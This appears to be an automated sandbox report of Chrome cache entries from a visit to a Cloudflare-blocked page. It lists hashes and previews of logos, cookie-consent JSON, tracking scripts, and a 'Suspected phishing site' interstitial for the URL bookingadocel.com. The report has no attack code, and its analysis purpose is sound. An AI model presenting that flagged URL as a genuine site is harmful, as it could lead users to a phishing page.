Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="1128". height="400" fill="none" viewBox="0 0 1128 400">. <g clip-path="url(#a)">. <path fill="#fff" d="M0 0h1128v400H0z" />. <path fill="url(#b)" d="M0 0h1128v630.645H0z" transform="matrix(-1 0 0 1 1128 -177)" />. </g>. <defs>. <clipPath id="a">. <path fill="#fff" d="M0 0h1128v400H0z" />. </clipPath>. <pattern id="b" width="1" height="1" patternContentUnits="objectBoundingBox">. <use xlink:href="#c" transform="scale(.00049 .00087)" />. </pattern>. <image. xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAACAAAAAR5CAYAAABZKuVNAAAABHNCSVQICAgIfAhkiAAAIABJREFUeJzs/Wm25LiVLdyCHq4iVTbm9fu17UqpzIzC/fD7YY4AT20FSWxgzzlG3Ii8CskNWAukGQmjLd////+/taylWcr91s//Fd62PDTxE9KlOGQBc7Gm2YsuxTJyHjO8DR55/olHn+KQRRw3ZTHBiWWCIYRkTcchC/aiS/f5qdcffGdgzotUusCWPnzk/772fgXwpqV4AxeFLNjD9mSsT31Z0+xFl3jEbB/SrAf2pE9xyCKOm7JYy5AnmgFfMkB3ztXPLaWUL71fxEsPBOTcSKULVLpwtX03ADjh3m0tq6cAvKRP

Chrome Cache Entry: 301

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5370
Entropy (8bit):	4.9673059804741815
Encrypted:	false
SSDEEP:	96:opymbD40wUwp8teWiYpdGHxYa6AyMXV1jfjomjJjFZZ2yD8A:5UW8wWiYpk6vMXPboSJppQA
MD5:	A5CC9C99381F1547749EDFCE79D5F816
SHA1:	17D28AC1DC83D61B7731F8526DC44BE0396450D5
SHA-256:	265B6BC0E2D3D622641A3F697D9907C907D2786FC5CAC171E5920880D36957DE
SHA-512:	566875699F679427B10273F2468032EAC4933682A801BA0F6DB7A9094EAC46BCCB27D4D606A134D048569079EE93830E229ED838DD565EC8E84CF9101EC4CD29
Malicious:	false
URL:	https://ot.www.cloudflare.com/public/vendor/onetrust/consent/b1e05d49-f072-4bae-9116-bdb78af15448/b1e05d49-f072-4bae-9116-bdb78af15448.json
Preview:	{"CookieSPAEnabled":true,"CookieSameSiteNoneEnabled":false,"CookieV2CSPEnabled":false,"MultiVariantTestingEnabled":false,"UseV2":true,"MobileSDK":false,"SkipGeolocation":false,"ScriptType":"LOCAL","Version":"202407.2.0","OptanonDataJSON":"b1e05d49-f072-4bae-9116-bdb78af15448","GeolocationUrl":"https://geolocation.onetrust.com/cookieconsentpub/v1/geo/location","BulkDomainCheckUrl":"https://cookies-data.onetrust.io/bannersdk/v1/domaingroupcheck","RuleSet":[{"Id":"018debfb-4ca4-7537-992d-44786afb66f9","Name":"EU only","Countries":["no","de","be","fi","pt","bg","dk","lt","lu","hr","lv","fr","hu","se","si","mc","sk","mf","sm","gb","yt","ie","gf","ee","mq","mt","gp","is","it","gr","es","re","at","cy","cz","ax","pl","li","ro","nl"],"States":{},"LanguageSwitcherPlaceholder":{"de":"de","default":"en"},"BannerPushesDown":false,"Default":false,"Global":false,"Type":"GDPR","UseGoogleVendors":false,"VariantEnabled":false,"TestEndTime":null,"Variants":[],"TemplateName":"GDPR Template","Conditions":[

Chrome Cache Entry: 302

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1273
Entropy (8bit):	4.25044752600902
Encrypted:	false
SSDEEP:	24:tCb8EAu334Y5jidiXbK6UQiI7aCRGkIlV83eQMY5SESMuX5/W9bZbc0Un9l8GXAl:/Wom3bK47P8yn5OpXQRtbUn9mGXAl
MD5:	F754034F42CC256E4AF70BB003F8DE26
SHA1:	07EC764FC63F61F49CC3C206173866933123D215
SHA-256:	FD9DD3E223096582809C7AB18999463F734ACE15492DCB01AD98002325406064
SHA-512:	B1DCF45AD7208562848DBF286769BD3BC28AC4EA877F07DD62E7F4C5A1335288D79E965D05F608C5025C608F9DB4C1815E04B8C965DF98BFAD85C0E24D794926
Malicious:	false
URL:	https://cf-assets.www.cloudflare.com/slt3lc6tev37/78RmfBmlwmzHeGK2Aqj65M/369cfa6b2402b7e6007941839e0c763f/target.svg
Preview:	<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M23.9708 27.75C26.0419 27.75 27.7208 26.0711 27.7208 24C27.7208 21.929 26.0419 20.25 23.9708 20.25C21.8997 20.25 20.2208 21.929 20.2208 24C20.2208 26.0711 21.8997 27.75 23.9708 27.75Z" fill="#FF6633"/>.<path d="M45.4185 22.5H41.9183C41.562 18.2636 39.7182 14.2898 36.7133 11.2823C33.7084 8.27473 29.7362 6.42748 25.5 6.06754V2.58154H22.5V6.06754C18.2639 6.42748 14.2917 8.27473 11.2868 11.2823C8.28186 14.2898 6.43805 18.2636 6.08179 22.5H2.58154V25.5H6.08404C6.44741 29.7306 8.29403 33.6966 11.2978 36.6978C14.3015 39.6989 18.2692 41.5421 22.5 41.9018V45.4185H25.5V41.9018C29.7309 41.5421 33.6985 39.6989 36.7023 36.6978C39.7061 33.6966 41.5527 29.7306 41.916 25.5H45.4185V22.5ZM25.5 38.8935V31.575H22.5V38.8928C19.0661 38.5422 15.8579 37.0189 13.4158 34.5795C10.9736 32.1401 9.44676 28.9336 9.09229 25.5H16.425V22.5H9.09079C9.43793 19.0603 10.9618 15.8459 13.405 13.3999C15.8481 10.9539 19.060

Chrome Cache Entry: 303

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65534), with no line terminators
Category:	dropped
Size (bytes):	1565153
Entropy (8bit):	5.093046524696501
Encrypted:	false
SSDEEP:	3072:hiEXy6L6iY06OqtEX6yCm7hYCS4+NiEXy6L8s22UuLoDBIaqWuF:h/PJ6IKyj7hgV/8hUoOa9Y
MD5:	831D0DD0D03DBA01A42B7BA3EED651CF
SHA1:	0B45BDCF6B8C1E0FF7920236708D24028CB78B98
SHA-256:	A7D27CAE71EBCA087F6AF3554364683FA9AAF4F5DA58C2511F7BFEE0FAA3EE62
SHA-512:	AECA3EA643E1818ABE89315C118F6E57DC2E24D42BC9CE80E06B3C63F70B5BF06EEA2AF73762BF96FAC0A18AC14E8DBB196D9E435C2A01C0863D3AFAC1A9FFFB
Malicious:	false
Preview:	{"componentChunkName":"component---src-components-page-page-template-tsx","path":"/plans/","result":{"data":{"page":{"pageName":"Plans and Pricing Page (LIVE /plans/) ","localeList":{"enUS":"English for Locale","zhCN":"Translated for Locale","zhTW":"Translated for Locale","frFR":"Translated for Locale","deDE":"Translated for Locale","itIT":"Translated for Locale","jaJP":"Translated for Locale","koKR":"Translated for Locale","ptBR":"Translated for Locale","esES":"Translated for Locale","esLA":"Translated for Locale","enAU":"English for Locale","enCA":"English for Locale","enIN":"English for Locale","enGB":"English for Locale","nlNL":"Translated for Locale","idID":"English for Locale","thTH":"Translated for Locale","ruRU":"Translated for Locale","svSE":"English for Locale","viVN":"Translated for Locale","trTR":"Translated for Locale","zhHansCN":"Translated for Locale","plPL":"Translated for Locale","arAR":"No Page for Locale"},"relativePath":"plans","topNavOptions":"custom","topNavButto

Chrome Cache Entry: 304

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 54 x 54, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	452
Entropy (8bit):	7.0936408308765495
Encrypted:	false
SSDEEP:	12:6v/7EljW8E6Cl2SYh8SZM4tf70FSDvMXDxJp6ScFChY9:U8hCl2SIdZBtAFSDUX/ozIhK
MD5:	C33DE66281E933259772399D10A6AFE8
SHA1:	B9F9D500F8814381451011D4DCF59CD2D90AD94F
SHA-256:	F1591A5221136C49438642155691AE6C68E25B7241F3D7EBE975B09A77662016
SHA-512:	5834FB9D66F550E6CECFE484B7B6A14F3FCA795405DECE8E652BD69AD917B94B6BBDCDF7639161B9C07F0D33EABD3E79580446B5867219F72F4FC43FD43B98C3
Malicious:	false
Preview:	.PNG........IHDR...6...6............3PLTE.E?.E?.E?.E?.E?.E?.E?.E?.E?.E?.E?.E?.E?.E?.E?.E?.E?..".....tRNS.@0.`........ P.p`...../IDATx.....0...l..6....+...~yJ.F"....oE..L.3..[..i2..n.WyJ..z&.....F.......b....p~...\|:t5.m...fp.i./e....%.%...n.P...enV.....!...,.......E........t![HW.B.g.R.\^.e..o+........%.&-j..q...f@..o...]... ....u0.x..2K.+C..8.U.L.Y.[=.....y...o.tF..]M..U.,4..........a.>/.)....C3gNI.i...R.=....Q7..K......IEND.B`.

Chrome Cache Entry: 305

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 306

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3397
Entropy (8bit):	4.050782030370807
Encrypted:	false
SSDEEP:	48:C8SgmD/D5ZHz44DuNzmjeaeAfshwR4/J/GMTYwU4liTIMVKBN4H0drfFMzHU7VM:uHzpDuNzkeFCixGMTLUChaYqzH7
MD5:	2BD82C17E6DC90A16E6877F133329444
SHA1:	01F9E5676187F034A858AE6AD3EC70654EA5DDE4
SHA-256:	E8D5CA786CD81C067486D3914AD035A5FF3CCA6C4C8BCD6A0237C1D6BD4CF95F
SHA-512:	0E845DE9A144F25E5E3FB7356AE5ED96B92C2A1DBE512E44237B4FB0E48BE4EA965D64940D9043ECF3C708FEF6D106B842E3F3AD9B32A4D4D3CEAE7FF6019176
Malicious:	false
URL:	https://cf-assets.www.cloudflare.com/slt3lc6tev37/26kszL2y2X7zTR2edZPDUY/1a9d00bc8c441346e6dd06bd82204972/logo_ncr_gray_32px-wrapper.svg
Preview:	<svg width="112" height="32" viewBox="0 0 112 32" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M67.7432 17.9856C67.7432 17.9856 67.515 17.164 67.515 16.5705V7.07552H71.3039V25.3351L59.1612 15.2923C58.4765 14.7446 58.1113 14.1055 58.1113 14.1055C58.1113 14.1055 58.2939 14.7902 58.2939 15.3836V24.9699H54.505V6.71033L66.5564 16.5705C67.1498 17.164 67.7432 17.9856 67.7432 17.9856Z" fill="#404242"/>.<path d="M102.071 7.07556C108.097 7.07556 109.649 9.44931 109.649 12.873C109.649 15.338 107.823 17.7574 104.171 18.0313L103.76 18.077C103.76 18.077 104.125 18.1226 104.491 18.4878L111.155 24.9243H106.043L96.7303 15.475H101.341C105.495 15.475 105.586 13.2838 105.632 12.736C105.677 11.3209 105.267 10.1797 102.117 10.1797H96.8216V24.97H92.8958V7.12121H102.071V7.07556Z" fill="#404242"/>.<path d="M72.9928 16.251C72.9928 8.76454 79.2467 6.80164 84.542 6.80164C86.6419 6.80164 88.5135 6.98423 90.4764 7.39507V11.1839C89.3352 10.8644 87.0984 10.0884 84.542 10.0884C79.5663 10.0884 77.1469 12.00

Chrome Cache Entry: 307

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	4776
Entropy (8bit):	4.402547735060609
Encrypted:	false
SSDEEP:	96:HfUyhetZ3+A/5i7VhE2AzF7MQ5lrZxG65Ktc19HFUmH/PKk4o8/+5vPo5/DSsk8:HMysRgfWzFVpZxG65K21nUmH/Pl0+53A
MD5:	82A73AAB9040A829207EF10E8859E3EF
SHA1:	316BA73DB0DE11B13891813A8B218DF70987D39B
SHA-256:	70D183C4437B634B784F1D1C336F9A062E60EDC173AFE881E5ED867FD81AFA21
SHA-512:	42C1D87C0449B29069C61CA9AA58655575E854925464876CF88DDBD50B4D611F580A947C9B03BAF0F61C67034837B9D0B964C2DEFF7A77066F1D98D20F5D9961
Malicious:	false
URL:	https://cf-assets.www.cloudflare.com/slt3lc6tev37/1AsuJijKk8EMH5s1ae56nx/b13406881aa864b7e17b2233a0d090ef/logo_labcorp_trusted-by_gray.svg
Preview:	<svg width="158" height="24" viewBox="0 0 158 24" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M40.9233 0.330688H46.4731V15.6202H52.5007V20.1041H40.9233V0.330688Z" fill="#4E4E4E"/>.<path d="M65.4012 17.8621C65.4012 18.6339 65.585 19.369 65.9158 20.0673H60.8805C60.6968 19.5528 60.6233 19.0015 60.6233 18.4869L60.5865 18.4502C59.9617 19.9203 58.6018 20.4349 57.0582 20.4349C54.1914 20.4349 52.9785 18.928 52.9785 16.0244C52.9785 12.7166 54.5222 11.7978 56.5436 11.32L59.0428 10.7319C60.1455 10.4747 60.5497 10.1439 60.5497 9.18828C60.5497 8.45321 60.1087 8.01216 59.5206 8.01216C58.3813 8.01216 58.2343 8.8575 58.2343 9.73958H53.5298C53.5298 6.39501 55.294 4.70435 59.5574 4.70435C64.4456 4.70435 65.438 6.68904 65.438 9.00451V17.8621H65.4012ZM60.5497 12.8269C60.219 13.0474 59.8147 13.1944 59.2266 13.4149C58.3445 13.7457 58.1975 14.444 58.1975 15.3261C58.1975 16.2082 58.5283 16.833 59.2634 16.833C60.3292 16.833 60.5497 15.8774 60.5497 14.9953V12.8269Z" fill="#4E4E4E"/>.<path d="M66.39

Chrome Cache Entry: 308

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6371), with no line terminators
Category:	dropped
Size (bytes):	6371
Entropy (8bit):	5.434378596461589
Encrypted:	false
SSDEEP:	96:lJscEBqZQ4rtWl8+HlvJni+ZHI0ZFUl4NJBDUn5tlR7OIVVsMVX6yPA6a0KcOHY:lGBDGt0HlRi+ZHhFUiO9sI9tre0CY
MD5:	156BBA28F30BAE17662AB52E2B4EAE58
SHA1:	2520F57B04BD084D2105EA3F903F55E95AE64567
SHA-256:	E341B8206FEF41104A11C3FF2BF187D6018248BBDD619C2E84B1BEEA40F0DA42
SHA-512:	B7CC927949A00A5889D2C4E6BDA906A404FD602CD7B3B483791D213985FD5987E4F62910FB6280E6DD29644E59BDD06FED748C6F1C166F19DAD7959D235B4B8A
Malicious:	false
Preview:	!function(){"use strict";var e,t,n,r,o,c={},a={};function s(e){var t=a[e];if(void 0!==t)return t.exports;var n=a[e]={id:e,loaded:!1,exports:{}};return c[e].call(n.exports,n,n.exports,s),n.loaded=!0,n.exports}s.m=c,e=[],s.O=function(t,n,r,o){if(!n){var c=1/0;for(d=0;d<e.length;d++){n=e[d][0],r=e[d][1],o=e[d][2];for(var a=!0,f=0;f<n.length;f++)(!1&o\|\|c>=o)&&Object.keys(s.O).every((function(e){return s.O[e](n[f])}))?n.splice(f--,1):(a=!1,o<c&&(c=o));if(a){e.splice(d--,1);var i=r();void 0!==i&&(t=i)}}return t}o=o\|\|0;for(var d=e.length;d>0&&e[d-1][2]>o;d--)e[d]=e[d-1];e[d]=[n,r,o]},s.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return s.d(t,{a:t}),t},n=Object.getPrototypeOf?function(e){return Object.getPrototypeOf(e)}:function(e){return e.__proto__},s.t=function(e,r){if(1&r&&(e=this(e)),8&r)return e;if("object"==typeof e&&e){if(4&r&&e.__esModule)return e;if(16&r&&"function"==typeof e.then)return e}var o=Object.create(null);s.r(o);var c={};t=t\|\|[null,

Chrome Cache Entry: 309

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	downloaded
Size (bytes):	462402
Entropy (8bit):	5.358849106002725
Encrypted:	false
SSDEEP:	6144:OqRYlADxBldE7qZ8NdrcQNG6JMHVc/cHf4N5O7PqsCSls:3SADxBldE7qZW/c7bqSO
MD5:	A64729A4F0DD7DB3CDF3DC855DF2C77A
SHA1:	4C40360660AC023ED61BD5D0C2C55502E45FFCF1
SHA-256:	BB60550070F9A5CE5D91B9CB0D34EE6777A3DCB25DE950CB185D1C2B624B2590
SHA-512:	7C428D737817813F291E499966753FFF6DF46168D4A851A24959D54D65A7E45E862E888CED3240708BFF5A5154FA64F6C40AEA9CF394ECC86B6ED0B03553A1CF
Malicious:	false
URL:	https://ot.www.cloudflare.com/public/vendor/onetrust/scripttemplates/202407.2.0/otBannerSdk.js
Preview:	/** . * onetrust-banner-sdk. * v202407.2.0. * by OneTrust LLC. * Copyright 2024 . */.!function(){"use strict";var x=function(e,t){return(x=Object.setPrototypeOf\|\|({__proto__:[]}instanceof Array?function(e,t){e.__proto__=t}:function(e,t){for(var o in t)Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o])}))(e,t)};function D(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");function o(){this.constructor=e}x(e,t),e.prototype=null===t?Object.create(t):(o.prototype=t.prototype,new o)}var H,R=function(){return(R=Object.assign\|\|function(e){for(var t,o=1,n=arguments.length;o<n;o++)for(var r in t=arguments[o])Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e}).apply(this,arguments)};function u(e,s,a,l){return new(a=a\|\|Promise)(function(o,t){function n(e){try{i(l.next(e))}catch(e){t(e)}}function r(e){try{i(l.throw(e))}catch(e){t(e)}}function i(e){var t;e.done?o(e.value):((t=e.value)instanceof a?t:new a(fun

Chrome Cache Entry: 310

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	13
Entropy (8bit):	2.7773627950641693
Encrypted:	false
SSDEEP:	3:qVZPV:qzd
MD5:	C83301425B2AD1D496473A5FF3D9ECCA
SHA1:	941EFB7368E46B27B937D34B07FC4D41DA01B002
SHA-256:	B633A587C652D02386C4F16F8C6F6AAB7352D97F16367C3C40576214372DD628
SHA-512:	83BAFE4C888008AFDD1B72C028C7F50DEE651CA9E7D8E1B332E0BF3AA1315884155A1458A304F6E5C5627E714BF5A855A8B8D7DB3F4EB2BB2789FE2F8F6A1D83
Malicious:	false
URL:	https://td.doubleclick.net/td/ga/rul?tid=G-SQCRB0TXZW&gacid=577951860.1729259323&gtm=45je4ah0v895724479z8890325950za200zb890325950&dma=0&gcs=G111&gcd=13r3r3r3r5l1&npa=0&pscdl=noapi&aip=1&fledge=1&frm=0&tag_exp=101686685&z=432065990
Preview:	<html></html>

Chrome Cache Entry: 311

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	40245
Entropy (8bit):	3.688097585256689
Encrypted:	false
SSDEEP:	768:LN9jzBAIbAkMsVg2m+2gdsFguBx/kQ9nYYGn0htIqBLpffiYaILAg5:L/X1SHuQ9nYYYWzBLF6YagAi
MD5:	8700E89879F875A08B6769B1583CF270
SHA1:	1BAB2E73C9D414F2061AA49729AFC1CF3F457D5D
SHA-256:	92FB872E7AF55384FB5E0319781ECBC0896A8069656F377D567A5BA1D10A8859
SHA-512:	ED69E6AB1FE6B73F2E1A7F61156B8F81904372FFC4C24F7DFE8E68C248BC0A4F27464EA3B323458E8ECBD9AC2EF891CF09F1099555048B29E98C7A3C480BC1B9
Malicious:	false
URL:	https://cf-assets.www.cloudflare.com/slt3lc6tev37/3JniCZlkcKI9iHgormG8j3/b94cf97c93844f2db74d566fc512aef1/logo_thomson-reuters_gray_32px-wrapper.svg
Preview:	<svg width="198" height="32" viewBox="0 0 198 32" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M11.9044 17.4523C12.1436 17.3998 12.2961 17.1606 12.2544 16.9173C12.2011 16.6685 11.9598 16.4985 11.7169 16.5615C11.6588 16.5707 11.6032 16.5917 11.5534 16.6232C11.5037 16.6546 11.4608 16.6959 11.4275 16.7444C11.3942 16.7929 11.3711 16.8477 11.3596 16.9054C11.3481 16.9632 11.3485 17.0226 11.3607 17.0802C11.4107 17.336 11.6511 17.5106 11.904 17.4519L11.9044 17.4523ZM21.1526 15.5223C21.3922 15.4669 21.543 15.2294 21.5026 14.9865C21.4484 14.7336 21.2051 14.564 20.9651 14.6281C20.7093 14.6681 20.561 14.9144 20.6085 15.1506C20.6568 15.4015 20.9001 15.5748 21.153 15.5215L21.1526 15.5223ZM13.0152 19.4981C13.1469 19.3927 13.2325 19.2402 13.2539 19.0729C13.2753 18.9056 13.2308 18.7365 13.1298 18.6014C12.9006 18.3373 12.5065 18.2889 12.2323 18.496C11.9657 18.6993 11.9157 19.1014 12.1352 19.3768C12.3419 19.6502 12.7427 19.7185 13.0144 19.4989L13.0152 19.4981ZM20.5751 13.5627C20.8593 13.3311

Chrome Cache Entry: 312

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (57671), with no line terminators
Category:	downloaded
Size (bytes):	57671
Entropy (8bit):	5.406436595808325
Encrypted:	false
SSDEEP:	1536:buM99dAoLYPNh7S5BTF94zGnSJpSFD2No5/g:buMdAVNiTF94zGnSJpSFDr5/g
MD5:	BBBCF811D8437A575D796A4C1E5D4FAD
SHA1:	CCE821AAE4F2B8982D9C08B308FB5306945EA68E
SHA-256:	4D15FF2317E16CCD8CA1D3248FEA7D91130E022369BB032824A84AD9967064DF
SHA-512:	6D0E3E9079DB4C175F0E8EC0279E9A89DF786D226685C0764AB20179D69E19CA269E8CC40646A97D31F95597654EC869472358BB72071011DF3410FC32E501C0
Malicious:	false
URL:	https://static.ads-twitter.com/uwt.js
Preview:	!function(){var t={6173:function(t,e,n){var r;t.exports=(r=r\|\|function(t,e){var r;if("undefined"!=typeof window&&window.crypto&&(r=window.crypto),"undefined"!=typeof self&&self.crypto&&(r=self.crypto),"undefined"!=typeof globalThis&&globalThis.crypto&&(r=globalThis.crypto),!r&&"undefined"!=typeof window&&window.msCrypto&&(r=window.msCrypto),!r&&void 0!==n.g&&n.g.crypto&&(r=n.g.crypto),!r)try{r=n(2480)}catch(t){}var i=function(){if(r){if("function"==typeof r.getRandomValues)try{return r.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof r.randomBytes)try{return r.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")},o=Object.create\|\|function(){function t(){}return function(e){var n;return t.prototype=e,n=new t,t.prototype=null,n}}(),a={},c=a.lib={},u=c.Base={extend:function(t){var e=o(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply

Chrome Cache Entry: 313

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	295033
Entropy (8bit):	5.223092231745829
Encrypted:	false
SSDEEP:	3072:SiEXy6LizpoU1xS5VFBiEXy6L8M22UuLoDBIaqWuF:S/Qy5VH/8BUoOa9Y
MD5:	D86FB08E3DA85011258770D5180F0D12
SHA1:	C9F81B5ED5ED1EA88C9F1A3AA8CFBE76AF470FF2
SHA-256:	4D0D54FDEC2342773AF5FDA2299E988F2FD8C4CEF95E81B3D022F785DE93E696
SHA-512:	25C1605F5F5DAE5C725235DAC3F1C4E37FF01A914FD99959F9669FACA4FE02DDC023B0ABDFCCE1E80A0364E88FC6342EBD64380D9AA69A428CDBB5E8B60E39AD
Malicious:	false
URL:	https://www.cloudflare.com/page-data/index/page-data.json
Preview:	{"componentChunkName":"component---src-components-page-page-template-tsx","path":"/","result":{"data":{"page":{"pageName":"Homepage Redwood - LIVE - DO NOT DELETE","localeList":{"enUS":"English for Locale","zhCN":"Translated for Locale","zhTW":"Translated for Locale","frFR":"Translated for Locale","deDE":"Translated for Locale","itIT":"Translated for Locale","jaJP":"Translated for Locale","koKR":"Translated for Locale","ptBR":"Translated for Locale","esES":"Translated for Locale","esLA":"Translated for Locale","enAU":"Translated for Locale","enCA":"English for Locale","enIN":"English for Locale","enGB":"Translated for Locale","nlNL":"Translated for Locale","idID":"No Page for Locale","thTH":"No Page for Locale","ruRU":"Translated for Locale","svSE":"Translated for Locale","viVN":"English for Locale","trTR":"Translated for Locale","zhHansCN":"Translated for Locale","plPL":"Translated for Locale","arAR":"No Page for Locale"},"relativePath":"/","topNavOptions":"custom","topNavButtonText":

Chrome Cache Entry: 314

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	156
Entropy (8bit):	5.180272941502211
Encrypted:	false
SSDEEP:	3:9ulE1IJhyCnaz/p94v0S61UibiC0K8DKrNPaaic+2l6N4tRhkDpSDfJxt9AhRn:9uvyCnaz/AvD6eibi5DKJPaaiTVN4tRo
MD5:	BAEAB90BCC3B9EF42E4089890243D3C1
SHA1:	C4AB719FB763AACE9C3EE246BE21820F06245A2D
SHA-256:	39D8A2DBF30F618C364A59866F97922A2FA0B056EA3D3966008CEA17FDA8ED8A
SHA-512:	D242AA6BADE8BC181B78B7828AF8A9384661951C883DA59212CD1AF5AC836799CBFC3700267DAB7B70876226002334B2E16682A33A0BF9FCA155524FD1204A51
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISTwkXdhBA9NW11BIFDfyM-aUSBQ02_qTlEgUN0LAlAhIFDQ-obAwSBQ1_82yhEgUN4YU_hxIFDVIPfTASBQ3_9T9DEgUNra-0VRIFDTEddzY=?alt=proto
Preview:	CnIKCw38jPmlGgQIAxgBCgsNNv6k5RoECAUYAQoLDdCwJQIaBAg8GAEKCw0PqGwMGgQICRgBCgcNf/NsoRoACgsN4YU/hxoECA0YAQoHDVIPfTAaAAoHDf/1P0MaAAoLDa2vtFUaBAgkGAEKBw0xHXc2GgA=

Chrome Cache Entry: 315

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (394)
Category:	downloaded
Size (bytes):	4439
Entropy (8bit):	5.075943125419287
Encrypted:	false
SSDEEP:	96:1j9jwIjYjUDK/D5DMF+BOiVAZPZLqm+rRj09PaQxJbGD:1j9jhjYjIK/Vo+t6PZ2m+rW9ieJGD
MD5:	930933F705AE29F32FD205CE04D34D6F
SHA1:	83BE6F9D114800D1F55D8CF26BCE43DF7F4A11F7
SHA-256:	D394923045A46B60AEAC30974564E38089181AD4531F271E46FB21E64E22D97F
SHA-512:	A014DEF93E2A5A57044F57E202BF83B5BE7C7D948516B63AA67626D185E9E7E7280EE0D252BC29DC9891AF70F0D31D4D7DFCC3827581B9424D42A641555B97FE
Malicious:	false
URL:	https://bookingadocel.com/QZ6XM/
Preview:	<!DOCTYPE html>. [if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->. [if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->. [if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->. [if gt IE 8]> > <html class="no-js" lang="en-US"> <![endif]-->.<head>.<title>Suspected phishing site \| Cloudflare</title>.<meta charset="UTF-8" />.<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />.<meta http-equiv="X-UA-Compatible" content="IE=Edge" />.<meta name="robots" content="noindex, nofollow" />.<meta name="viewport" content="width=device-width,initial-scale=1" />.<link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" />. [if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]-->.<style>body{margin:0;padding:0}</style>... [if gte IE 10]> >.<script>. if (!navigator.cookieEnabled) {. window.addEventListener('DOMContentLoaded

Chrome Cache Entry: 316

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	144
Entropy (8bit):	4.978217712620453
Encrypted:	false
SSDEEP:	3:UScIJhyCnaz/p9Wm9dbOkCvLS+StnmXjh3sUqwfyyKNEgJn:U0yCnaz/v4aftMdhqsyzEgJn
MD5:	0D8FEE3E2A6C3B069FFE13CAE400AD5C
SHA1:	F3E7ED5276276FED05D518E33B580507A3C9AAAB
SHA-256:	258A480ED683FB31EC8E6D22C52B6F055726C3B8165F2A98BDD700DF02900BBB
SHA-512:	8D33C173FB7FB3AE68502332895169D3A1FC9AD9364BA39D51E3BE3E37C28D05AE1FF7E624BA5D709B8378EE105F5CF4910CC89054B60EA42D77FA95B3EDFCEE
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISTwnECuywSSwwHRIFDfyM-aUSBQ02_qTlEgUN0LAlAhIFDQ-obAwSBQ012g9gEgUN4YU_hxIFDVIPfTASBQ0u5oVgEgUNAYo3fBIFDTEddzY=?alt=proto
Preview:	CmoKCw38jPmlGgQIAxgBCgsNNv6k5RoECAUYAQoHDdCwJQIaAAoLDQ+obAwaBAgJGAEKBw012g9gGgAKCw3hhT+HGgQIDRgBCgcNUg99MBoACgcNLuaFYBoACgcNAYo3fBoACgcNMR13NhoA

Chrome Cache Entry: 317

Download File

